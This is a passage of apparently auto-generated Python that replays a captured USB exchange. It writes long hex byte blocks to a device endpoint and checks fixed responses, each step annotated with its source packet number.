b\"\\xB0\\x21\\x3F\\xDF\\x0A\\x2B\\x03\\x89\\x54\\x93\\x63\\xBC\\x77\\x0A\\x29\\x7C\"\n b\"\\x99\\x90\\xAD\\xB0\\xF4\\x85\\x3A\\x9C\\x02\\xAD\\x13\\xB4\\xF0\\x8E\\x3B\\x1E\"\n b\"\\x01\\x7B\\x61\\xB9\\xD2\\x69\\xA8\\xB7\\xDC\\x55\\xA6\\xFD\\x21\\xBE\\xA7\\xBE\"\n b\"\\x36\\xA6\\x25\\xCC\\xB8\\x17\\xA0\\x64\\x25\\xB3\\x17\\xAF\\x2E\\xBD\\x83\\xA1\"\n b\"\\x84\\xE9\\x6D\\x5E\\xDE\\xA1\\xE0\\x03\\x10\\xA3\\xDB\\x7C\")\n # Generated from packet 3119/3120\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3119/3120\")\n # Generated from packet 3121/3122\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x30\\x63\\x16\\xA7\\xCD\\x5A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3F\\x2B\\x59\\x74\\x46\\xA5\\x85\\x4D\"\n b\"\\x64\\x8C\\x56\\x19\\x21\\x29\\x3E\\xAA\\x1C\\x74\\xFF\\x19\\x3E\\x5F\\xB4\\x74\"\n b\"\\x4A\\x70\\x3C\\x68\\x93\\xB7\\x6D\\x4F\\xC4\\xF9\\x10\\xFD\\x47\\xA9\\xEC\\xA9\"\n b\"\\x14\\xA8\\x27\\x27\\x3B\\x63\\x4F\\xEC\\x5C\\x4F\\x77\\xEF\\xB2\\x95\\x88\\xB0\"\n b\"\\xDB\\xD5\\x94\\xB0\\x89\\xC0\\xFA\\x6F\\x34\\x3C\\x5C\\xDF\\xB7\\x9A\\x49\\xDF\"\n b\"\\x7B\\xAE\\xBE\\xD3\\x29\\x33\\x85\\xB8\\xFF\\x13\\x3D\\x18\\xD8\\x6D\\x06\\x4A\"\n b\"\\xAC\\x85\\x1C\\x3F\\xCE\\x1A\\x14\\xF6\\xF0\\x15\\x3B\\xE6\\xD0\\x1D\\xD1\\x3D\"\n b\"\\x1A\\xC9\\xF5\\x76\\xC3\\xD2\\x34\\xA7\\x71\\x3F\\x5E\\x0D\\x6F\\x9F\\x94\\x1F\"\n b\"\\xBB\\x33\\x83\\xC3\\x56\\x46\\xC3\\x97\\x73\\xBC\\xD1\\xC6\\xEC\\x99\\xA5\\x77\"\n b\"\\x87\\x3D\\x2E\\xAE\\xD9\\x11\\x56\\x9B\\x6E\\x52\\xEF\\x92\\xC6\\x16\\x03\\x74\"\n b\"\\x3E\\x7B\\x84\\xD5\\xAB\\x6E\\x7D\\xEA\\x4A\\xB7\\x4D\\x1B\\x24\\x19\\xCB\\x4C\"\n b\"\\xD1\\x4D\\x70\\x44\\x33\\x1A\\xEE\\xDD\\xFC\\xA5\\x2F\\x34\\xEE\\x31\\xA8\\x38\"\n b\"\\x32\\xF9\\xFF\\x15\\x04\\xC3\\x1C\\x92\\x57\\x45\\xC2\\x27\\x0F\\x4C\\x93\\x41\"\n b\"\\x19\\x55\\xED\\xE6\\x90\\x76\\x49\\x40\\xD2\\x2D\\x21\\x85\\x3B\\xE5\\x84\\xBF\"\n b\"\\xE5\\x2F\\xDE\\x29\\xA2\\xC6\\xA2\\x58\\x54\\xF8\\x6F\\x17\\xC5\\xA0\\xF3\\x04\"\n b\"\\xB4\\x18\\xDF\\x0E\\x8D\\xCF\\x98\\x7C\\xF5\\x33\\x13\\x42\\xD4\\x8F\\xFD\\xC8\"\n b\"\\x56\\x79\\x72\\xA1\\xE3\\xB9\\x9C\\x8D\\x92\\xF5\\x58\\x3E\")\n # Generated from packet 3123/3124\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3123/3124\")\n # Generated from packet 3125/3126\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCF\\x6E\\x41\\x1F\\xA4\\x63\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6A\\x51\\xA2\\xC3\\x89\\x2F\\x04\\xE4\"\n b\"\\xE1\\x49\\x1B\\xD9\\xB6\\x24\\x27\\x60\\x1F\\xB4\\x91\\xDF\\x46\\xEF\\x8B\\xDF\"\n b\"\\xEF\\x93\\xA9\\xDE\\xA9\\x82\\x68\\x2D\\x12\\xEB\\x39\\x75\\x6B\\x82\\x85\\x4D\"\n b\"\\x49\\xAB\\x56\\x19\\x0C\\x0E\\x3E\\xAA\\x31\\x53\\xFF\\x19\\x13\\x78\\xB4\\x74\"\n b\"\\x67\\x57\\x3C\\x68\\xBE\\x90\\x6D\\x4F\\xE9\\xDE\\x10\\xFD\\x6A\\x8E\\xEC\\xA9\"\n b\"\\x39\\x8F\\x27\\x27\\x16\\x44\\x4F\\xEC\\x71\\x68\\x77\\xEF\\x9F\\xB2\\x88\\xB0\"\n b\"\\xF6\\xF2\\x94\\xB0\\xA4\\xE7\\xFA\\x6F\\x19\\x1B\\x5C\\xDF\\x9A\\xBD\\x49\\xDF\"\n b\"\\x56\\x89\\xBE\\xD3\\x04\\x14\\x85\\xB8\\xD2\\x34\\x3D\\x18\\xF5\\x4A\\x06\\x4A\"\n b\"\\x81\\xA2\\x1C\\x3F\\xE3\\x3D\\x14\\xF6\\xDD\\x32\\x3B\\xE6\\xFD\\x3A\\xD1\\x3D\"\n b\"\\x37\\xEE\\xF5\\x76\\xEE\\xF5\\x34\\xA7\\x5C\\x18\\x5E\\x0D\\x42\\xB8\\x94\\x1F\"\n b\"\\x96\\x14\\x83\\xC3\\x7B\\x61\\xC3\\x97\\x5E\\x9B\\xD1\\xC6\\xC1\\xBE\\xA5\\x77\"\n b\"\\xAA\\x1A\\x2E\\xAE\\xF4\\x36\\x56\\x9B\\x43\\x75\\xEF\\x92\\xEB\\x31\\x03\\x74\"\n b\"\\x13\\x5C\\x84\\xD5\\x86\\x49\\x7D\\xEA\\x67\\x90\\x4D\\x1B\\x09\\x3E\\xCB\\x4C\"\n b\"\\xFC\\x6A\\x70\\x44\\x1E\\x3D\\xEE\\xDD\\xD1\\x82\\x2F\\x34\\xC3\\x16\\xA8\\x38\"\n b\"\\x1F\\xDE\\xFF\\x15\\x29\\xE4\\x1C\\x92\\x7A\\x62\\xC2\\x27\\x22\\x6B\\x93\\x41\"\n b\"\\x34\\x72\\xED\\xE6\\xBD\\x51\\x49\\x40\\xFF\\x0A\\x21\\x85\\x16\\xC2\\x84\\xBF\"\n b\"\\xC8\\x08\\xDE\\x29\\x8F\\xE1\\xA2\\x58\\x79\\xDF\\x6F\\x17\")\n # Generated from packet 3127/3128\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3127/3128\")\n # Generated from packet 3129/3130\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x01\\x3E\\x4F\\x0B\\x9E\\x6E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xE1\\x84\\x74\\xF6\\xD6\\xD9\\x22\"\n b\"\\x9B\\xEA\\x60\\x8B\\x0B\\x5C\\xDF\\xD2\\x50\\x46\\xDF\\x7B\\x2C\\x64\\xDE\\x3D\"\n b\"\\x3D\\xA5\\x2D\\x86\\x54\\xF4\\x75\\xFF\\x3D\\x48\\x4D\\xDD\\x14\\x9B\\x19\\x98\"\n b\"\\xB1\\xF3\\xAA\\xA5\\xEC\\x32\\x19\\x87\\xC7\\x79\\x74\\xF3\\xE8\\xF1\\x68\\x2A\"\n b\"\\x2F\\xA0\\x4F\\x7D\\x61\\xDD\\xFD\\xFE\\x31\\x21\\xA9\\xAD\\x30\\xEA\\x27\\x82\"\n b\"\\xFB\\x82\\xEC\\xE5\\xD7\\xBA\\xEF\\x0B\\x0D\\x45\\xB0\\x62\\x4D\\x59\\xB0\\x30\"\n b\"\\x58\\x37\\x6F\\x8D\\xA4\\x91\\xDF\\x0E\\x02\\x84\\xDF\\xC2\\x36\\x73\\xD3\\x90\"\n b\"\\xAB\\x48\\xB8\\x46\\x8B\\xF0\\x18\\x61\\xF5\\xCB\\x4A\\x15\\x1D\\xD1\\x3F\\x77\"\n b\"\\x82\\xD9\\xF6\\x49\\x8D\\xF6\\xE6\\x69\\x85\\x1C\\x3D\\xA3\\x51\\x38\\x76\\x7A\"\n b\"\\x4A\\xF9\\xA7\\xC8\\xA7\\x93\\x0D\\xD6\\x07\\x59\\x1F\\x02\\xAB\\x4E\\xC3\\xEF\"\n b\"\\xDE\\x0E\\x97\\xCA\\x24\\x1C\\xC6\\x55\\x01\\x68\\x77\\x3E\\xA5\\xE3\\xAE\\x60\"\n b\"\\x89\\x9B\\x9B\\xD7\\xCA\\x22\\x92\\x7F\\x8E\\xCE\\x74\\x87\\xE3\\x49\\xD5\\x12\"\n b\"\\xF6\\xB0\\xEA\\xF3\\x2F\\x80\\x1B\\x9D\\x81\\x06\\x4C\\x68\\xD5\\xBD\\x44\\x8A\"\n b\"\\x82\\x23\\xDD\\x45\\x3D\\xE2\\x34\\x57\\xA9\\x65\\x38\\x8B\\x61\\x32\\x15\\xBD\"\n b\"\\x5B\\xD1\\x92\\xEE\\xDD\\x0F\\x27\\xB6\\xD4\\x5E\\x41\\xA0\\xCD\\x20\\xE6\\x29\"\n b\"\\xEE\\x84\\x40\\x6B\\xB5\\xEC\\x85\\x82\\x7D\\x49\\xBF\\x5C\\xB7\\x13\\x29\\x1B\"\n b\"\\x5E\\x6F\\x58\\xED\\x60\\xA2\\x17\\x7C\\x38\\x3E\\x04\\x0D\")\n # Generated from packet 3131/3132\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3131/3132\")\n # Generated from packet 3133/3134\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x53\\xCF\\x5D\\x37\\xDE\\x6C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x26\\x3B\\x82\\xED\\x72\\x20\\xE3\\x27\"\n b\"\\xFC\\x0F\\x28\\x4F\\x37\\x68\\x04\\x77\\x34\\x86\\xDE\\x88\\x6B\\xEF\\x9E\\x94\"\n b\"\\x6B\\xBD\\x8B\\xFA\\xB4\\x00\\x77\\x5C\\x04\\x83\\xD1\\x49\\x04\\x4F\\xE5\\xBE\"\n b\"\\x08\\x1D\\x78\\x85\\x63\\xCB\\x58\\x3D\\xC3\\xEC\\x26\\x06\\x91\\x98\\xCE\\x1C\"\n b\"\\xE4\\xFA\\x51\\x14\\x2D\\xC4\\x5E\\x3B\\x3D\\xE4\\x56\\xD1\\xE6\\x2E\\x82\\xF5\"\n b\"\\xAD\\xF7\\x99\\x34\\x7C\\x45\\x74\\x5E\\xD6\\x5B\\xD4\\x94\\xC4\\x8F\\x78\\x83\"\n b\"\\x18\\x62\\x0D\\xC3\\x4C\\x47\\xF7\\xD1\\x1D\\xD8\\xD2\\xA5\\xAC\\xB3\\x76\\x2E\"\n b\"\\x75\\xED\\x5A\\x56\\x40\\x5A\\x19\\xEF\\x49\\xF2\\x5D\\x03\\xAF\\x0A\\x30\\x84\"\n b\"\\x0E\\x9F\\x25\\x7D\\x31\\x7E\\xFC\\x4D\\xC0\\x10\\x52\\xCB\\x97\\xE5\\x06\\x70\"\n b\"\\x9F\\x07\\x51\\xEE\\x06\\xC8\\xEE\\x2F\\xEF\\xDA\\x7A\\xA8\\xE3\\x06\\xB2\\xFF\"\n b\"\\xCE\\x30\\x88\\x1C\\x49\\x63\\x0E\\xC2\\xFC\\x3B\\x07\\x93\\x9A\\x2D\\x1E\\xED\"\n b\"\\x3D\\xA4\\x3D\\x49\\x9B\\xE6\\x66\\x21\\x5E\\x0F\\xAE\\x84\\x64\\xD1\\x64\\xDE\"\n b\"\\xF2\\x96\\x8D\\xA2\\x83\\x60\\xB3\\x6F\\xCC\\xF1\\xEB\\xF3\\xDF\\x80\\x53\\xDF\"\n b\"\\xD5\\xB9\\x84\\x98\\xA7\\xC1\\x78\\x13\\x99\\xE0\\xC4\\xFD\\x13\\x62\\x32\\x72\"\n b\"\\x7A\\xD7\\xF2\\x9C\\x56\\xA6\\xBE\\x58\\xE5\\xBE\\x83\\x0C\\xF1\\x36\\x22\\xE6\"\n b\"\\x82\\x66\\x16\\xD7\\x28\\x9F\\x65\\xF9\\xD5\\x66\\x4F\\xC3\\xC2\\xE9\\x70\\xD3\"\n b\"\\x8D\\x1E\\x5F\\xDC\\x30\\x05\\x87\\x6A\\xE3\\x6B\\x78\\x23\")\n # Generated from packet 3135/3136\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3135/3136\")\n # Generated from packet 3137/3138\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9D\\x9F\\x53\\x23\\x81\\x25\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA7\\x06\\x97\\xD0\\xF6\\xF1\\xD2\\xA5\"\n b\"\\x47\\x9A\\x76\\x2E\\x9E\\xC4\\x5A\\x56\\xAB\\x73\\x19\\xEF\\xA2\\xDB\\x5D\\x03\"\n b\"\\x44\\x23\\x30\\x84\\xE5\\xB6\\x25\\x7D\\xDA\\x57\\xFC\\x4D\\x2B\\x39\\x52\\xCB\"\n b\"\\x7C\\xCC\\x06\\x70\\x74\\x2E\\x51\\xEE\\xED\\xE1\\xEE\\x2F\\x04\\xF3\\x7A\\xA8\"\n b\"\\x08\\x2F\\xB2\\xFF\\x25\\x19\\x88\\x1C\\xA2\\x4A\\x0E\\xC2\\x17\\x12\\x07\\x93\"\n b\"\\x71\\x04\\x1E\\xED\\xD6\\x8D\\x3D\\x49\\x70\\xCF\\x66\\x21\\xB5\\x26\\xAE\\x84\"\n b\"\\x8F\\xF8\\x64\\xDE\\x19\\xBF\\x8D\\xA2\\x68\\x49\\xB3\\x6F\\x27\\xD8\\xEB\\xF3\"\n b\"\\x34\\xA9\\x53\\xDF\\x3E\\x90\\x84\\x98\\x4C\\xE8\\x78\\x13\\x72\\xC9\\xC4\\xFD\"\n b\"\\xF8\\x4B\\x32\\x72\\x91\\xFE\\xF2\\x9C\\xBD\\x8F\\xBE\\x58\\x0E\\x97\\x83\\x0C\"\n b\"\\x1A\\x1F\\x22\\xE6\\x69\\x4F\\x16\\xD7\\xC3\\xB6\\x65\\xF9\\x3E\\x4F\\x4F\\xC3\"\n b\"\\x29\\xC0\\x70\\xD3\\x66\\x37\\x5F\\xDC\\xDB\\x2C\\x87\\x6A\\x08\\x42\\x78\\x23\"\n b\"\\x41\\xC6\\x6F\\xAC\\x40\\xFC\\x28\\x0A\\x40\\x6A\\xF5\\xF2\\xA4\\x9E\\xC8\\x2D\"\n b\"\\x0E\\x5B\\x1C\\x24\\xB6\\x42\\x41\\x7E\\x65\\xD4\\xEE\\x3B\\x98\\x6F\\x3D\\x28\"\n b\"\\x0F\\x7B\\x87\\x22\\x33\\x2D\\xD9\\x9A\\x53\\x18\\xFA\\x03\\x19\\xD8\\x14\\x99\"\n b\"\\x9D\\x14\\x79\\x8C\\x0A\\x38\\x8F\\xA4\\x23\\x10\\x7D\\x87\\x0B\\xBA\\x8C\\x72\"\n b\"\\x51\\x1D\\x5F\\x60\\x98\\x13\\x51\\x5C\\x96\\x59\\xAC\\xB7\\x97\\x1A\\xBB\\xAF\"\n b\"\\x15\\x68\\x35\\x1E\\x90\\xC0\\xA8\\xBA\\x27\\x0B\\xA3\\xB4\")\n # Generated from packet 3139/3140\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3139/3140\")\n # Generated from packet 3141/3142\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF7\\x2D\\x78\\x4F\\xA3\\x6E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6F\\x9C\\x42\\x49\\x53\\xAD\\x8B\\xD8\"\n b\"\\xE5\\x12\\xD2\\x83\\xFF\\x12\\x7B\\xFF\\xDD\\x13\\x3D\\xEE\\x1C\\xE0\\x86\\x87\"\n b\"\\x4D\\xB8\\xFF\\xEE\\xF1\\x80\\xDD\\xC7\\x22\\xD4\\x98\\x62\\x4A\\x67\\xA5\\x3F\"\n b\"\\x8B\\xD4\\x87\\x14\\xC0\\xB9\\xF3\\x3B\\x48\\xA5\\x2A\\xFC\\x19\\x82\\x7D\\xB2\"\n b\"\\x64\\x30\\xFE\\xE2\\x98\\x64\\xAD\\xE3\\x53\\xEA\\x82\\x28\\x3B\\x21\\xE5\\x04\"\n b\"\\x03\\x22\\x0B\\xDE\\xFC\\x7D\\x62\\x9E\\xE0\\x7D\\x30\\x8B\\x8E\\xA2\\x8D\\x77\"\n b\"\\x28\\x12\\x0E\\xD1\\x3D\\x12\\xC2\\xE5\\xCA\\x1E\\x90\\x78\\xF1\\x75\\x46\\x58\"\n b\"\\x49\\xD5\\x61\\x26\\x72\\x87\\x15\\xCE\\x68\\xF2\\x77\\x51\\x60\\x3B\\x49\\x5E\"\n b\"\\x4F\\x2B\\x69\\x56\\xA5\\xF0\\xA3\\x82\\x81\\xBB\\x7A\\x99\\x40\\x6A\\xC8\\x74\"\n b\"\\x2A\\xC0\\xD6\\xD4\\xE0\\xD2\\x02\\x78\\xF7\\x0E\\xEF\\x0D\\xB7\\x5A\\xCA\\xF7\"\n b\"\\xA5\\x0B\\x55\\xD2\\xD1\\xBA\\x3E\\x76\\x5A\\x63\\x60\\x5A\\x22\\x56\\xD7\\x19\"\n b\"\\x9B\\x5F\\x7F\\x5D\\x77\\xB9\\x87\\x30\\xF0\\x18\\x12\\x25\\x09\\x27\\xF3\\xFC\"\n b\"\\x39\\xD6\\x9D\\x52\\xBF\\x81\\x68\\x06\\x04\\x89\\x8A\\x51\\x9A\\x10\\x45\\xEE\"\n b\"\\x5B\\xF9\\x57\\x7A\\xDC\\xF5\\x8B\\xB2\\x8B\\xD8\\xBD\\x88\\x68\\x5F\\xEE\\x0E\"\n b\"\\xB6\\xEA\\xB6\\x07\\xE7\\x8C\\xA0\\x1E\\x99\\x2B\\x29\\x3D\\x3D\\x8D\\x6B\\x66\"\n b\"\\x55\\x48\\x82\\xAE\\xF0\\x72\\x5C\\x64\\xAA\\xE4\\x1B\\x8D\\xD6\\x95\\xED\\xB3\"\n b\"\\x1B\\xDA\\x7C\\xEB\\x87\\xC9\\x0D\\x53\\xAB\\xC3\\x34\\x84\")\n # Generated from packet 3143/3144\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3143/3144\")\n # Generated from packet 3145/3146\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x39\\x7D\\x76\\x5B\\x8C\\x52\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA9\\x69\\xD2\\xFE\\x84\\xF7\\x88\\x1C\"\n b\"\\x03\\xA4\\x0E\\xC2\\xB6\\xFC\\x07\\x93\\xD0\\xEA\\x1E\\xED\\x77\\x63\\x3D\\x49\"\n b\"\\xD1\\x21\\x66\\x21\\x14\\xC8\\xAE\\x84\\x2E\\x16\\x64\\xDE\\xB8\\x51\\x8D\\xA2\"\n b\"\\xC9\\xA7\\xB3\\x6F\\x86\\x36\\xEB\\xF3\\x95\\x47\\x53\\xDF\\x9F\\x7E\\x84\\x98\"\n b\"\\xED\\x06\\x78\\x13\\xD3\\x27\\xC4\\xFD\\x59\\xA5\\x32\\x72\\x30\\x10\\xF2\\x9C\"\n b\"\\x1C\\x61\\xBE\\x58\\xAF\\x79\\x83\\x0C\\xBB\\xF1\\x22\\xE6\\xC8\\xA1\\x16\\xD7\"\n b\"\\x62\\x58\\x65\\xF9\\x9F\\xA1\\x4F\\xC3\\x88\\x2E\\x70\\xD3\\xC7\\xD9\\x5F\\xDC\"\n b\"\\x7A\\xC2\\x87\\x6A\\xA9\\xAC\\x78\\x23\\xE0\\x28\\x6F\\xAC\\xE1\\x12\\x28\\x0A\"\n b\"\\xE1\\x84\\xF5\\xF2\\x05\\x70\\xC8\\x2D\\xAF\\xB5\\x1C\\x24\\x17\\xAC\\x41\\x7E\"\n b\"\\xC4\\x3A\\xEE\\x3B\\x39\\x81\\x3D\\x28\\xAE\\x95\\x87\\x22\\x92\\xC3\\xD9\\x9A\"\n b\"\\xF2\\xF6\\xFA\\x03\\xB8\\x36\\x14\\x99\\x3C\\xFA\\x79\\x8C\\xAB\\xD6\\x8F\\xA4\"\n b\"\\x82\\xFE\\x7D\\x87\\xAA\\x54\\x8C\\x72\\xF0\\xF3\\x5F\\x60\\x39\\xFD\\x51\\x5C\"\n b\"\\x37\\xB7\\xAC\\xB7\\x36\\xF4\\xBB\\xAF\\xB4\\x86\\x35\\x1E\\x31\\x2E\\xA8\\xBA\"\n b\"\\x86\\xE5\\xA3\\xB4\\x12\\xEB\\x09\\xE0\\xFC\\x14\\x53\\xA8\\x71\\x49\\x9D\\xAA\"\n b\"\\x4A\\x36\\xEB\\xC5\\x22\\x5F\\x12\\xDE\\xDB\\x18\\x04\\xF1\\x40\\x9C\\x33\\x93\"\n b\"\\x0B\\x29\\x5A\\x8F\\xCC\\xA8\\x5D\\xFA\\x90\\xE9\\x08\\xE3\\x02\\xD9\\xF4\\x88\"\n b\"\\xFD\\xC0\\x41\\x6A\\x49\\x91\\x12\\x3E\\x3B\\x2D\\xA2\\x49\")\n # Generated from packet 3147/3148\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3147/3148\")\n # Generated from packet 3149/3150\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6B\\x8C\\x64\\x67\\x98\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x78\\x45\\x41\\x84\\x91\\x45\\x84\\xBF\"\n b\"\\x4F\\x8F\\xDE\\x29\\x08\\x66\\xA2\\x58\\xFE\\x58\\x6F\\x17\\x6F\\x00\\xF3\\x04\"\n b\"\\x1E\\xB8\\xDF\\x0E\\x27\\x6F\\x98\\x7C\\x5F\\x93\\x13\\x42\\x7E\\x2F\\xFD\\xC8\"\n b\"\\xFC\\xD9\\x72\\xA1\\x49\\x19\\x9C\\x8D\\x38\\x55\\x58\\x3E\\x20\\x68\\x0C\\x2A\"\n b\"\\xA8\\xC9\\xE6\\x59\\xF8\\xFD\\xD7\\xF3\\x01\\x8E\\xF9\\x0E\\xF8\\xA4\\xC3\\x19\"\n b\"\\x77\\x9B\\xD3\\x56\\x80\\xB4\\xDC\\xEB\\x9B\\x6C\\x6A\\x38\\xF5\\x93\\x23\\x71\"\n b\"\\x71\\x84\\xAC\\x70\\x4B\\xC3\\x0A\\x70\\xDD\\x1E\\xF2\\x94\\x29\\x23\\x2D\\x3E\"\n b\"\\xEC\\xF7\\x24\\x86\\xF5\\xAA\\x7E\\x55\\x63\\x05\\x3B\\xA8\\xD8\\xD6\\x28\\x3F\"\n b\"\\xCC\\x6C\\x22\\x03\\x9A\\x32\\x9A\\x63\\xAF\\x11\\x03\\x29\\x6F\\xFF\\x99\\xAD\"\n b\"\\xA3\\x92\\x8C\\x3A\\x8F\\x64\\xA4\\x13\\xA7\\x96\\x87\\x3B\\x0D\\x67\\x72\\x61\"\n b\"\\xAA\\xB4\\x60\\xA8\\xA4\\xBA\\x5C\\xA6\\xEE\\x47\\xB7\\xA7\\xAD\\x50\\xAF\\x25\"\n b\"\\xDF\\xDE\\x1E\\xA0\\x77\\x43\\xBA\\x17\\xBC\\x48\\xB4\\x83\\xB2\\xE2\\xE0\\x6D\"\n b\"\\x4D\\xB8\\xA8\\xE0\\x10\\x76\\xAA\\xDB\\x6F\\x00\\xC5\\xB3\\x06\\xF9\\xDE\\x4A\"\n b\"\\x41\\xEF\\xF1\\xD1\\xC5\\xD8\\x93\\x9A\\x70\\xB1\\x8F\\x5D\\xF1\\xB6\\xFA\\x01\"\n b\"\\xB0\\xE3\\xE3\\x93\\x80\\x1F\\x88\\x6C\\x99\\xAA\\x6A\\xD8\\xC8\\xF9\\x3E\\xAA\"\n b\"\\x74\\x49\\x49\\x0D\\xC0\\x16\\x4A\\x9F\\x09\\xE9\\x8D\\x0C\\xC6\\xF7\\x4F\\xC1\"\n b\"\\x1B\\xA1\\x43\\x30\\x8A\\xDD\\x01\\x0A\\x31\\x76\\xEA\\xCA\")\n # Generated from packet 3151/3152\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3151/3152\")\n # Generated from packet 3153/3154\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA5\\xDC\\x6A\\x73\\x10\\x6A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1A\\xC4\\x46\\x07\\x48\\x58\\xCE\\x1C\"\n b\"\\x3D\\x3A\\x51\\x14\\xF4\\x04\\x5E\\x3B\\xE4\\x24\\x56\\xD1\\x3F\\xEE\\x82\\xF5\"\n b\"\\x74\\x37\\x99\\x34\\xA5\\x85\\x74\\x5E\\x0F\\x9B\\xD4\\x94\\x1D\\x4F\\x78\\x83\"\n b\"\\xC1\\xA2\\x0D\\xC3\\x95\\x87\\xF7\\xD1\\xC4\\x18\\xD2\\xA5\\x75\\x73\\x76\\x2E\"\n b\"\\xAC\\x2D\\x5A\\x56\\x99\\x9A\\x19\\xEF\\x90\\x32\\x5D\\x03\\x76\\xCA\\x30\\x84\"\n b\"\\xD7\\x5F\\x25\\x7D\\xE8\\xBE\\xFC\\x4D\\x19\\xD0\\x52\\xCB\\x4E\\x25\\x06\\x70\"\n b\"\\x46\\xC7\\x51\\xEE\\xDF\\x08\\xEE\\x2F\\x36\\x1A\\x7A\\xA8\\x3A\\xC6\\xB2\\xFF\"\n b\"\\x17\\xF0\\x88\\x1C\\x90\\xA3\\x0E\\xC2\\x25\\xFB\\x07\\x93\\x43\\xED\\x1E\\xED\"\n b\"\\xE4\\x64\\x3D\\x49\\x42\\x26\\x66\\x21\\x87\\xCF\\xAE\\x84\\xBD\\x11\\x64\\xDE\"\n b\"\\x2B\\x56\\x8D\\xA2\\x5A\\xA0\\xB3\\x6F\\x15\\x31\\xEB\\xF3\\x06\\x40\\x53\\xDF\"\n b\"\\x0C\\x79\\x84\\x98\\x7E\\x01\\x78\\x13\\x40\\x20\\xC4\\xFD\\xCA\\xA2\\x32\\x72\"\n b\"\\xA3\\x17\\xF2\\x9C\\x8F\\x66\\xBE\\x58\\x3C\\x7E\\x83\\x0C\\x28\\xF6\\x22\\xE6\"\n b\"\\x5B\\xA6\\x16\\xD7\\xF1\\x5F\\x65\\xF9\\x0C\\xA6\\x4F\\xC3\\x1B\\x29\\x70\\xD3\"\n b\"\\x54\\xDE\\x5F\\xDC\\xE9\\xC5\\x87\\x6A\\x3A\\xAB\\x78\\x23\\x73\\x2F\\x6F\\xAC\"\n b\"\\x72\\x15\\x28\\x0A\\x72\\x83\\xF5\\xF2\\x96\\x77\\xC8\\x2D\\x3C\\xB2\\x1C\\x24\"\n b\"\\x84\\xAB\\x41\\x7E\\x57\\x3D\\xEE\\x3B\\xAA\\x86\\x3D\\x28\\x3D\\x92\\x87\\x22\"\n b\"\\x01\\xC4\\xD9\\x9A\\x61\\xF1\\xFA\\x03\\x2B\\x31\\x14\\x99\")\n # Generated from packet 3155/3156\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3155/3156\")\n # Generated from packet 3157/3158\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBF\\xE8\\x33\\xBF\\xFF\\x61\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x61\\xB1\\xD0\\x31\\x74\\xD6\\x6F\\x8D\"\n b\"\\x88\\x70\\xDF\\x0E\\x2E\\x65\\xDF\\xC2\\x1A\\x92\\xD3\\x90\\x87\\xA9\\xB8\\x46\"\n b\"\\xA7\\x11\\x18\\x61\\xD9\\x2A\\x4A\\x15\\x31\\x30\\x3F\\x77\\xAE\\x38\\xF6\\x49\"\n b\"\\xA1\\x17\\xE6\\x69\\xA9\\xFD\\x3D\\xA3\\x7D\\xD9\\x76\\x7A\\x66\\x18\\xA7\\xC8\"\n b\"\\x8B\\x72\\x0D\\xD6\\x2B\\xB8\\x1F\\x02\\x87\\xAF\\xC3\\xEF\\xF2\\xEF\\x97\\xCA\"\n b\"\\x08\\xFD\\xC6\\x55\\x2D\\x89\\x77\\x3E\\x89\\x02\\xAE\\x60\\xA5\\x7A\\x9B\\xD7\"\n 